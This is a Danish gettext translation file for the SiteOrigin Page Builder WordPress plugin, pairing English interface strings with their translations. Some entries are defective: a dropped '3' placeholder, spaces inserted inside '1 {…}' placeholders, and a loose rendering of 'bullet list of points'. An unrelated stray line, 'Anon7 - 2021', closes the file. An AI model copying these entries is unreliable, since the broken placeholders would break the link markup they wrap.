msgid "Add a 1{widget}, 2{row} or 3{prebuilt layout} to get started. Read our 4{documentation} if you need help."
msgstr "Tilføj en 1{widget}, 2{række} eller et {allerede eksisterende layout} for at starte. Læs i 4{dokumentationen} hvis du behøver hjælp."

#: widgets/basic.php:15
msgid "A complete SiteOrigin Page Builder layout as a widget."
msgstr "Et komplet SiteOrigin Page Builder layout som en widget."

#: widgets/widgets/testimonial/testimonial.php:8
msgid "Displays a bullet list of points"
msgstr "Viser en punktopstillet liste som point."

#: inc/widgets.php:118
msgid "Enable more widgets in the 1{Widgets Bundle settings}."
msgstr "Aktiver flere widgets i 1{Widgets Pakkens indstillinger}."

#: inc/widgets.php:127
msgid "Install the 1{Widgets Bundle} to get extra widgets."
msgstr "Installer 1{widgets pakken} for at få flere widgets."

#: inc/widgets.php:140
msgid "You can enable the legacy (PB) widgets in the 1{Page Builder settings}."
msgstr "Du kan aktivere de originale (PB) widgets i 1{Page Builder Indstillinger}"

#: siteorigin-panels.php:1231
msgid "You need to install 1{%1$s} to use the widget 2{%2$s}."
msgstr "Du skal installere 1{%1$s} for at kunne bruge widget 2{%2$s}."

#: settings/tpl/help.php:6
msgid "Please read the 1{settings guide} of the Page Builder documentation for help."
msgstr "Læs venligst 1{guiden for indstillinger} i Page Builder dokumentationen for at få hjælp."

#: tpl/admin-home-page.php:29
msgid "Home page updated. 1{View page}."
msgstr "Hjemmeside opdateret. 1 {Se siden}."

#: widgets/basic.php:469 widgets/widgets.php:629
msgid "Additional query arguments. See 1{query_posts}."
msgstr "Yderligere forespørgsel argumenter. Se 1 {query_posts}."

#: tpl/help.php:18
msgid "Read the 1{full documentation} on SiteOrigin. Ask a question on our 2{support forum} if you need help and sign up to 3{our newsletter} to stay up to date with future developments."
msgstr "Læs den 1{fulde dokumentation} ved SiteOrigin. Stil et spørgsmål i vores 2{support forum} hvis du har brug for hjælp, og tilmeld dig vores 3{nyhedsbrev} for at blive opdateret om fremtidig udvikling."

#: tpl/js-templates.php:302
msgid "1{Set row layout}: %1$s columns with a ratio of %2$s going from %3$s"
msgstr "1{Indstil række layout}: %1$s kolonner med et forhold på %2$s startende fra %3$s"

Anon7 - 2021